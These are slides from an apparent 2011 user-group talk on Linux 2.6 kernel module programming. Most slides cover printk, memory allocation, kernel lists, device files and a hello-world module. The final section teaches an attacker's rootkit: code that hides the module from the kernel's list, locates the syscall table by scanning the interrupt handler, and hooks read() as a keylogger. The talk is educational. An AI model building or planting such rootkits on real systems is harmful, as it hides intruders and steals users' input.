Kernel Hacking
Introduction to Linux Kernel 2.6
How to write a Rootkit

Maurice Leclaire

TumFUG
Linux / Unix
get-together

January 19, 2011
Why hacking the kernel?

- Understanding the Linux kernel
- Fixing bugs
- Adding special features
- Writing drivers for special hardware
- Writing rootkits
How to hack the kernel?

- Modifying the source code
  - All modifications are possible
  - Needs kernel recompile
- Writing a LKM (Loadable Kernel Module)
  - No kernel recompile
  - Can be inserted into a running kernel
  - No influence on boot process
  - Restrictions due to the kernel
How to get started?

- Knowledge of the C Programming Language
- Kernel source (e.g. kernel.org)
- Compiler

*Recommended:*
- Vanilla Kernel
- Virtual machine for testing
- Assembler knowledge
How to get started?

▶ http://lxr.linux.no
   (complete source code cross reference)
   (“Rusty’s Kernel Hacking Guide”)
▶ http://www.faqs.org/docs/kernel
   (LKM Programming Guide)
▶ http://kernelnewbies.org/KernelHacking
First off, I’d suggest printing out a copy of the GNU coding standards, and NOT read it. Burn them, it’s a great symbolic gesture.

- 8 chars indentation
- only one statement on a single line
- never use spaces for indentation
- 80 chars is max line length
printk
include/linux/kernel.h

- Kernel log function
- used like userspace printf

```c
printk("Hello world!\n");
printk(KERN_INFO "\%s \%i\n", mystring, myint);
```

- loglevel:
  - KERN_DEBUG
  - KERN_INFO
  - KERN_NOTICE
  - KERN_WARNING
  - KERN_ERR
  - KERN_CRIT
  - KERN_ALERT
  - KERN_EMERG
kmalloc/kfree  vmalloc/vfree

include/linux/slab.h  include/linux/vmalloc.h

- kmalloc allocates kernel memory
- up to 128 KB

```c
void *mem = kmalloc(size, GFP_KERNEL);
kfree(mem);
```

- vmalloc can allocate more than 128 KB
- virtual memory / non contiguous in RAM

```c
void *mem = vmalloc(size);
vfree(mem);
```

- kzalloc / vzalloc for zeroed memory
Kernel List Structure

include/linux/list.h

- double linked list
- circular
- type oblivious
- list does not contain the items, the items contain the list
- multiple lists in one item possible

```c
struct my_struct {
    ...
    struct list_head list;
    ...
    struct list_head another_list;
};
```
Kernel List Structure

```c
1 struct list_head *p, *q;
2 struct my_struct x, *pos;
3
4 LIST_HEAD(head);
5
6 list_add(&x.list, &head);
7
8 list_for_each (p, &head) {
9    pos = list_entry(p, struct my_struct, list);
10        ...
11  }
12 /* identical to */
13 list_for_each_entry (pos, &head, list) {
14     ...
15 }
16 list_for_each_safe (p, q, &head) {
17    list_del(p);
18 }```

include/linux/list.h
Communication with the Userspace

- In Linux everything is a file
- Communication is also done via files
- For that purpose there are /proc, /sys and /dev files
- They exist only in RAM
Creating a /dev file

include/linux/fs.h

```c
static struct file_operations fops = {
    .read = device_read,
    .write = device_write,
    .open = device_open,
    .release = device_release
};

int major = register_chrdev(0, "mydev", &fops);
unregister_chrdev(major, "mydev");
```
You normally shouldn’t do this

Use /proc, /sys or /dev files for communication with the userspace

```c
struct file *file;
file = filp_open("/dir/filename", O_RDWR, 0);

if (file && !IS_ERR(file)) {
    mm_segment_t old_fs = get_fs();
    set_fs(KERNEL_DS);
    loff_t file_size = vfs_llseek(file,
        (loff_t)0, SEEK_END);
    char *buff = vmalloc(file_size);
    loff_t off = 0;
    vfs_read(file, buff, file_size, &off);
    vfs_write(file, buff, file_size, &off);
    vfree(buff);
    set_fs(old_fs);
}
```
Loadable Kernel Module

- Object file that can be linked to the running kernel
- Dynamically load and unload drivers when needed
- `lsmod` lists the loaded modules
Hello World LKM

hello_world.c

```c
#include <linux/kernel.h>
#include <linux/module.h>

int init_module(void)
{
    printk("TumFUG: Hello world!\n");
    return 0;
}

void cleanup_module(void)
{
    printk("TumFUG: Goodbye!\n");
}
```
Hello World LKM

Makefile

1. obj-m += hello_world.o
2.
3. all:
   make -C /lib/modules/$(shell uname -r)/build
   M=$(PWD) modules
4.
5. clean:
   make -C /lib/modules/$(shell uname -r)/build
   M=$(PWD) clean
Hello World LKM
Compiling and Loading

# make
# insmod hello_world.ko
TumFUG: Hello world!
# rmmod hello_world
TumFUG: Goodbye!
# dmesg | grep TumFUG
TumFUG: Hello world!
TumFUG: Goodbye!
# _
Module Documentation

- MODULE_LICENSE("GPL");
- MODULE_AUTHOR("TumFUG");
- MODULE_DESCRIPTION("Hello world module");

- A module should contain these macros for documentation purposes
- The license macro avoids a warning message when loaded
Use Counter

- Prevents the module from being unloaded when used

```c
void open(void)
{
    try_module_get(THIS_MODULE);
    ...
}

void close(void)
{
    ...
    put_module(THIS_MODULE);
}
```
Rootkits

LKM-based Rootkits

- Software that lives in kernel space
- Hides itself from the sysadmin
- Enables privileged access to the system for non-privileged users
- Is typically installed by an attacker after he broke into a system
- Hides all the attackers actions
- Keylogger
Hiding the Module

- The kernel holds a list of all modules
- Removing the module from this list is enough to hide
  
  ```c
  list_del(&THIS_MODULE->list);
  ```

- Hiding processes is similar
- task structure is more complex
- More lists to remove from
System Calls

- requests to the kernel
- interface between userspace and kernelspace

Program

... read() ...

---

idt

---

0x80 sys_call

---

sys_call_handler

---

sys_call_table

---

sys_fork

sys_read

sys_write

---

sys_read

---
System Call Hooking

- Change pointer to a system call handler
- The hook function is executed instead of the original one

- get control over the kernels behaviour
- Problem: since 2.6 the address of the sys_call_table is no longer exported
- Solution: Find it yourself
Finding the `sys_call_table`

- Get the idt address with `sidt`
- Get the address of the `sys_call_handler` from the idt entry 0x80
- Interpret the machine code of the `sys_call_handler` that includes the address of the `sys_call_table`
struct dt {
    u16 limit;
    u32 base;
} __attribute__((__packed__));

struct idt_entry {
    u16 offset_low;
    u16 selector;
    u8 zero;
    u8 attr;
    u16 offset_high;
} __attribute__((__packed__));

struct gdt_entry {
    u16 limit_low;
    u16 base_low;
    u8  base_mid;
    u8  access;
    u8  attr;
    u8  base_high;
} __attribute__((__packed__));
void **sys_call_table;

struct dt gdt;
__asm__("sgdt %0\n" : "=m"(gdt));

struct dt idt;
__asm__("sidt %0\n" : "=m"(idt));

struct idt_entry *idt_entry = (struct idt_entry *)(idt.base);
    idt_entry += 0x80; /* 0x80: linux syscall */
u32 syscall_offset = (idt_entry->offset_high << 16)
    | idt_entry->offset_low;

struct gdt_entry *gdt_entry = (struct gdt_entry *)(gdt.base);
gdt_entry += idt_entry->selector;
u32 syscall_base = (gdt_entry->base_high << 24)
    | (gdt_entry->base_mid << 16)
    | gdt_entry->base_low;
u8 *system_call
    = (u8 *) (syscall_base + syscall_offset);

/* search call to sys_call_table */
/* FF 14 85 off4: jmp off4(,%eax,4) */
while
    ((*(u32 *)(system_call++) & 0xFFFFFFFF) != 0x8514FF);
sys_call_table = *(void ***) (system_call + 2);
A simple Keylogger

- Hook the read system call
- Call the original read
- Log the value to the system log file

```c
1 hook_read(int fd, char *buf, long count) {
2     long c = original_read(fd, buf, count);
3     printk("%s\n", buf);
4     return c;
5 }
```